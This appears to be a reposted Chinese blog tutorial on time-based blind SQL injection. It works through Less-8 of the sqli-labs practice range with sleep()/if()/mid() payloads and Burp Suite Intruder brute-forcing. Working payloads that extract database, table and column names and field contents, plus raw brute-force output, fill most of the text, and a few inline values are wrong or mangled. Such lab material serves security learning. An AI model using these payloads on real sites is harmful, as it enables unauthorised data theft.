前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >延时注学习

延时注学习

作者头像
XRSec
发布2022-02-13 17:03:34
1.2K0
发布2022-02-13 17:03:34
举报
文章被收录于专栏:XRSec.BlogXRSec.Blog

SQL盲注:基于时间延迟注入

靶场环境搭建

所需软件

Phpstudy2016,sql注入靶场文件 Phpstduy 官网下载地址:https://www.xp.cn/ sql注入靶场下载地址:https://github.com/Audi-1/sqli-labs

下载安装 phpstudy,下载sql注入靶场文件压缩包,

解压文件靶场环境文件,放到 phpstudy 文件目录下的 WWW 文件夹下,

然后运行 phpstudy

然后访问,http://localhost/,或者 http://127.0.0.1

点击 Setup/reset Database for labs 选项安装靶场数据库等文件

出现这个就说明安装完成

返回访问 http://127.0.0.1 主页就行

对照 ascii 表

控制字符

ASCII 值

控制字符

ASCII 值

控制字符

ASCII 值

控制字符

NUT

32

(space)

64

@

96

SOH

33

!

65

A

97

a

STX

34

66

B

98

b

ETX

35

#

67

C

99

c

EOT

36

$

68

D

100

d

ENQ

37

%

69

E

101

e

ACK

38

&

70

F

102

f

BEL

39

,

71

G

103

g

BS

40

(

72

H

104

h

HT

41

)

73

I

105

i

LF

42

*

74

J

106

j

VT

43

+

75

K

107

k

FF

44

,

76

L

108

l

CR

45

-

77

M

109

m

SO

46

.

78

N

110

n

SI

47

/

79

O

111

o

DLE

48

0

80

P

112

p

DCI

49

1

81

Q

113

q

DC2

50

2

82

R

114

r

DC3

51

3

83

S

115

s

DC4

52

4

84

T

116

t

NAK

53

5

85

U

117

u

SYN

54

6

86

V

118

v

TB

55

7

87

W

119

w

CAN

56

8

88

X

120

x

EM

57

9

89

Y

121

y

SUB

58

:

90

Z

122

z

ESC

59

;

91

[

123

{

FS

60

<

92

/

124

|

GS

61

=

93

]

125

}

RS

62

>

94

^

126

`

US

63

?

95

_

127

DEL

本次 sql 延时注入选择的是第八关(图中所示)。

SQL 注入工具采用的基本都为盲注及其它注入。这里以 Mysql 盲注为示例: 何为延时注入?

所谓延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。

这里需要用上 Mysql 的 4 个函数:sleep()、if()、mid()、ord();

  • sleep() //延时
  • if(条件,True,False) //判断语句
  • mid(str,1,1) 截取 //指定字符串截取,截取字符开始长度-结束长度
  • ascii //转换为 ascii 编码

猜库名

这里先猜解一下 database()当前数据库名字,

构造语句

‘ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

该语法意思是,mid 函数方法截取 database()当前库库名第一个字符,判断第一个字符是否为 1,

  1. 对应的是 ascii 字符,如果第一个字符=其中的一个 ascii 字符,那么就延时 5 秒,如果不等于则延时 1 秒,我们这里可以用快捷方法,直接上 burpsuite 爆破即可访问该地址,然后抓包

http://127.0.0.1/Less-8/?id=1’ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

右 键

选择 Send to intrude 发送到爆破猜解模块中

发送完成后,我们选择爆破这俩个参数

接下来选择 payload 模块

第一个参数选择这个快捷模块 Numbers

第二个模块亦是如此,不过这里填写的是所有 ascii 字符对应的十进制位数

1-127

填写完成后点击右边的 Start attack 按钮 ,开始爆破

爆破出来得到 database()库名,对应的 ascii 字符我们来拼接一下

1-115 ,2-101,3-99,4-117,5-114,6-105,7-116,8-121 对应 ascii 表最终得到库名为 security

http://127.0.0.1/Less-8/?id=1’ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

判断表名长度

构造语句

’ and if(length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4,1,sleep(5)) –+

存在延时,说明表名长度不等于 4.。

’ and if(length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6,1,sleep(5)) –+

存在延时,说明表名长度是 6。

猜表名

构造语句

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);–+

符合条件说明,第一个ascii大于113

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>115,sleep(10),1);–+

不符合条件,第一个ascii不大于115

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);–+

符合条件,说明第一个ascii码=115

这样写太麻烦,还得一个一个猜解,这里我们直接上burpsuite爆破猜解访问poc抓包

http://127.0.0.1/Less-8/index.php?id=1’and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113,sleep(10),1);–+

然后还像爆破猜解库名一样猜解表名

选 择 这 俩 个 参 数

然后导入字典开始爆破

最终得到表名对应的 ascii 码

1114,101,102,101,114,101,114,115

最终得到表名为 referers

如果觉得麻烦也可以同时猜解三个表名

117 97 103 101 110 116 115 uagents

再对应 ascii 码表查看一下就可以得到所有表名了。

猜列名

只需要将select语句里的

table_name 改为 column_name 以及 information_schemation.tables 改为 information_schemation.columns

就可以了。

我们来猜解一下列名

构造语句

http://127.0.0.1/Less-8/index.php?id=1'and if(ascii(mid((select column_name from information_ schema.columns where table_schema=database() limit 1,1),1,1))>113,sleep(10),1); –+

猜字段内容

构造语句

‘ and if(ascii(mid((select username from security.users order by id limit

0,1),2,1))=117,sleep(10),1);–+

直接上 burp 爆破

同时爆破列名每一位对应的 ascii 码。

对应 ascii 码得到 email_id

爆破 users 表

爆破出来的结果

代码语言:javascript
复制
0 200 false false 926

25601 1 1 65 200 false false 926 1

38541 1 8 97 200 false false 926 1

40061 1 4 101 200 false false 926 1

40841 1 3 103 200 false false 926 1

41701 1 6 105 200 false false 926 1

42881 1 5 108 200 false false 926 1

43621 1 2 110 200 false false 926 1

43721 1 7 110 200 false false 926 1

20110 10 6 51 200 false false 926 1

38410 10 1 97 200 false false 926 1

39630 10 2 100 200 false false 926 1

41670 10 4 105 200 false false 926 1

43250 10 3 109 200 false false 926 1

43690 10 5 110 200 false false 926 1

38511 11 6 97 200 false false 926 1

38451 11 3 97 200 false false 926 1

39611 11 1 100 200 false false 926 1

41231 11 2 104 200 false false 926 1

20512 12 6 52 200 false false 926 1

39632 12 2 100 200 false false 926 1

41672 12 4 105 200 false false 926 1

43252 12 3 109 200 false false 926 1

43262 2 4 109 200 false false 926 1

46422

2

2

117 200 false false 926 1

48082

2

5

121 200 false false 926 1

40103

3

6

101 200 false false 926 1

45603

3

1

115 200 false false 926 1

46463

3

4

117 200 false false 926 1

41684

4

5

105 200 false false 926 1

45604

4

1

115 200 false false 926 1

46024

4

2

116 200 false false 926 1

46444

4

3

117 200 false false 926 1

38525

5

7

97 200 false false 926 1

43305

5

6

109 200 false false 926 1

45605

5

1

115 200 false false 926 1

46425

5

2

117 200 false false 926 1

38426

6

2

97 200 false false 926 1

38486

6

5

97 200 false false 926 1

43266

6

4

109 200 false false 926 1

43706

6

6

110 200 false false 926 1

39627

7

2

100 200 false false 926 1

41667

7

4

105 200 false false 926 1

43687

7

5

110 200 false false 926 1

39628

8

2

100 200 false false 926 1

43248

8

3

109 200 false false 926 1

43688

8

5

110 200 false false 926 1

38409

9

1

97 200 false false 926 1

39629

9

2

100 200 false false 926 1

41669

9

4 105 200 false false 926 1

43249

9

3 109 200 false false 926 1

43689

9

5 110 200 false false 926 1

对应 ascii 码可以得到具体的内容信息。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-02-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 所需软件
    • 然后运行 phpstudy
      • 然后访问,http://localhost/,或者 http://127.0.0.1
        • 点击 Setup/reset Database for labs 选项安装靶场数据库等文件
        • 对照 ascii 表
          • 这里需要用上 Mysql 的 4 个函数:sleep()、if()、mid()、ord();
          • 猜库名
            • 构造语句
            • 判断表名长度
              • 构造语句
              • 猜表名
                • 构造语句
                • 猜列名
                  • 构造语句
                  • 猜字段内容
                    • 构造语句
                    相关产品与服务
                    数据库
                    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档